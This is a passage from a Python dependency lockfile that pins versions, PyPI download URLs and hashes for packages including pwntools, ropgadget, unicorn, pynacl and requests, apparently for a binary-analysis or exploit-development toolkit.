{ url = "https://files.pythonhosted.org/packages/87/03/b5aab57706d61c65aaf6ed181727e7621c7cf32109b22245ac04f1c76094/pwntools-4.15.0-py2.py3-none-any.whl", hash = "sha256:f5508729b310ef1e959ad324306a0964cb6f2b04a34247484e446f0343eefc5c", size = 12873439, upload-time = "2025-10-12T15:25:25.38Z" },
]
[[package]]
name = "pycparser"
version = "3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
]
[[package]]
name = "pyelftools"
version = "0.33"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a3/11/767522582afab1b884d277de0e6e011640cb9d7292a38694b4b1a1df1ae8/pyelftools-0.33.tar.gz", hash = "sha256:660d82dcbeb8e83d1702bd97f223f761625da06111c0cc988eac6b8ab0c1b61f", size = 15068655, upload-time = "2026-05-29T12:56:22.553Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/46/2a/f9697576603dae937727827505a6126a066affb227034e77e6f9068910da/pyelftools-0.33-py3-none-any.whl", hash = "sha256:f215ad5f47d3f1373a21496a6c9e0707c622840d0622f23ff7ce08678b020036", size = 201178, upload-time = "2026-05-29T12:56:20.587Z" },
]
[[package]]
name = "pygments"
version = "2.20.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
]
[[package]]
name = "pynacl"
version = "1.6.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/d9/9a/4019b524b03a13438637b11538c82781a5eda427394380381af8f04f467a/pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c", size = 3511692, upload-time = "2026-01-01T17:48:10.851Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/4b/79/0e3c34dc3c4671f67d251c07aa8eb100916f250ee470df230b0ab89551b4/pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594", size = 390064, upload-time = "2026-01-01T17:31:57.264Z" },
{ url = "https://files.pythonhosted.org/packages/eb/1c/23a26e931736e13b16483795c8a6b2f641bf6a3d5238c22b070a5112722c/pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0", size = 809370, upload-time = "2026-01-01T17:31:59.198Z" },
{ url = "https://files.pythonhosted.org/packages/87/74/8d4b718f8a22aea9e8dcc8b95deb76d4aae380e2f5b570cc70b5fd0a852d/pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9", size = 1408304, upload-time = "2026-01-01T17:32:01.162Z" },
{ url = "https://files.pythonhosted.org/packages/fd/73/be4fdd3a6a87fe8a4553380c2b47fbd1f7f58292eb820902f5c8ac7de7b0/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574", size = 844871, upload-time = "2026-01-01T17:32:02.824Z" },
{ url = "https://files.pythonhosted.org/packages/55/ad/6efc57ab75ee4422e96b5f2697d51bbcf6cdcc091e66310df91fbdc144a8/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634", size = 1446356, upload-time = "2026-01-01T17:32:04.452Z" },
{ url = "https://files.pythonhosted.org/packages/78/b7/928ee9c4779caa0a915844311ab9fb5f99585621c5d6e4574538a17dca07/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88", size = 826814, upload-time = "2026-01-01T17:32:06.078Z" },
{ url = "https://files.pythonhosted.org/packages/f7/a9/1bdba746a2be20f8809fee75c10e3159d75864ef69c6b0dd168fc60e485d/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14", size = 1411742, upload-time = "2026-01-01T17:32:07.651Z" },
{ url = "https://files.pythonhosted.org/packages/f3/2f/5e7ea8d85f9f3ea5b6b87db1d8388daa3587eed181bdeb0306816fdbbe79/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444", size = 801714, upload-time = "2026-01-01T17:32:09.558Z" },
{ url = "https://files.pythonhosted.org/packages/06/ea/43fe2f7eab5f200e40fb10d305bf6f87ea31b3bbc83443eac37cd34a9e1e/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b", size = 1372257, upload-time = "2026-01-01T17:32:11.026Z" },
{ url = "https://files.pythonhosted.org/packages/4d/54/c9ea116412788629b1347e415f72195c25eb2f3809b2d3e7b25f5c79f13a/pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145", size = 231319, upload-time = "2026-01-01T17:32:12.46Z" },
{ url = "https://files.pythonhosted.org/packages/ce/04/64e9d76646abac2dccf904fccba352a86e7d172647557f35b9fe2a5ee4a1/pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590", size = 244044, upload-time = "2026-01-01T17:32:13.781Z" },
{ url = "https://files.pythonhosted.org/packages/33/33/7873dc161c6a06f43cda13dec67b6fe152cb2f982581151956fa5e5cdb47/pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2", size = 188740, upload-time = "2026-01-01T17:32:15.083Z" },
{ url = "https://files.pythonhosted.org/packages/be/7b/4845bbf88e94586ec47a432da4e9107e3fc3ce37eb412b1398630a37f7dd/pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465", size = 388458, upload-time = "2026-01-01T17:32:16.829Z" },
{ url = "https://files.pythonhosted.org/packages/1e/b4/e927e0653ba63b02a4ca5b4d852a8d1d678afbf69b3dbf9c4d0785ac905c/pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0", size = 800020, upload-time = "2026-01-01T17:32:18.34Z" },
{ url = "https://files.pythonhosted.org/packages/7f/81/d60984052df5c97b1d24365bc1e30024379b42c4edcd79d2436b1b9806f2/pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4", size = 1399174, upload-time = "2026-01-01T17:32:20.239Z" },
{ url = "https://files.pythonhosted.org/packages/68/f7/322f2f9915c4ef27d140101dd0ed26b479f7e6f5f183590fd32dfc48c4d3/pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87", size = 835085, upload-time = "2026-01-01T17:32:22.24Z" },
{ url = "https://files.pythonhosted.org/packages/3e/d0/f301f83ac8dbe53442c5a43f6a39016f94f754d7a9815a875b65e218a307/pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c", size = 1437614, upload-time = "2026-01-01T17:32:23.766Z" },
{ url = "https://files.pythonhosted.org/packages/c4/58/fc6e649762b029315325ace1a8c6be66125e42f67416d3dbd47b69563d61/pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130", size = 818251, upload-time = "2026-01-01T17:32:25.69Z" },
{ url = "https://files.pythonhosted.org/packages/c9/a8/b917096b1accc9acd878819a49d3d84875731a41eb665f6ebc826b1af99e/pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6", size = 1402859, upload-time = "2026-01-01T17:32:27.215Z" },
{ url = "https://files.pythonhosted.org/packages/85/42/fe60b5f4473e12c72f977548e4028156f4d340b884c635ec6b063fe7e9a5/pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e", size = 791926, upload-time = "2026-01-01T17:32:29.314Z" },
{ url = "https://files.pythonhosted.org/packages/fa/f9/e40e318c604259301cc091a2a63f237d9e7b424c4851cafaea4ea7c4834e/pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577", size = 1363101, upload-time = "2026-01-01T17:32:31.263Z" },
{ url = "https://files.pythonhosted.org/packages/48/47/e761c254f410c023a469284a9bc210933e18588ca87706ae93002c05114c/pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa", size = 227421, upload-time = "2026-01-01T17:32:33.076Z" },
{ url = "https://files.pythonhosted.org/packages/41/ad/334600e8cacc7d86587fe5f565480fde569dfb487389c8e1be56ac21d8ac/pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0", size = 239754, upload-time = "2026-01-01T17:32:34.557Z" },
{ url = "https://files.pythonhosted.org/packages/29/7d/5945b5af29534641820d3bd7b00962abbbdfee84ec7e19f0d5b3175f9a31/pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c", size = 184801, upload-time = "2026-01-01T17:32:36.309Z" },
]
[[package]]
name = "pyserial"
version = "3.5"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
]
[[package]]
name = "pysocks"
version = "1.7.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "six" },
]
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
]
[[package]]
name = "requests"
version = "2.34.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "charset-normalizer" },
{ name = "idna" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
]
[[package]]
name = "ropgadget"
version = "7.7"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "capstone" },
]
sdist = { url = "https://files.pythonhosted.org/packages/88/9a/d5290486bb97f2bc9f7801e90659c0b26707d7997d8ff851846efc869db7/ropgadget-7.7.tar.gz", hash = "sha256:8aa7db0ce48ae6b09707fecc40bdd88ee5f76afd64249885ef3c9feab5bd9cfb", size = 26077, upload-time = "2025-10-15T10:34:15.087Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/fc/f4/5e0dbb23af4aa9b7936dfe8cb8509e2cbeec18d38ee963ce513b16d49865/ropgadget-7.7-py3-none-any.whl", hash = "sha256:f54c3d5d0be20a1c2b70fc1e9455304a2f8d9c8e63b9f37a1bac13ab03e254a7", size = 32596, upload-time = "2025-10-15T10:34:13.625Z" },
]
[[package]]
name = "rpyc"
version = "6.0.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "plumbum" },
]
sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
]
[[package]]
name = "six"
version = "1.17.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
]
[[package]]
name = "sortedcontainers"
version = "2.4.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
]
[[package]]
name = "typing-extensions"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
]
[[package]]
name = "unicorn"
version = "2.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" },
{ url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" },
{ url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" },
{ url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" },
{ url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" },
{ url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" },
{ url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" },
{ url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" },
{ url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" },
{ url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
{ url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
{ url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
{ url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
{ url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
{ url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
{ url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
{ url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
{ url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
]
[[package]]
name = "unix-ar"
version = "0.2.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
]
[[package]]
name = "urllib3"
version = "2.7.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
]
[[package]]
name = "zstandard"
version = "0.25.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" },
{ url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" },
{ url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" },
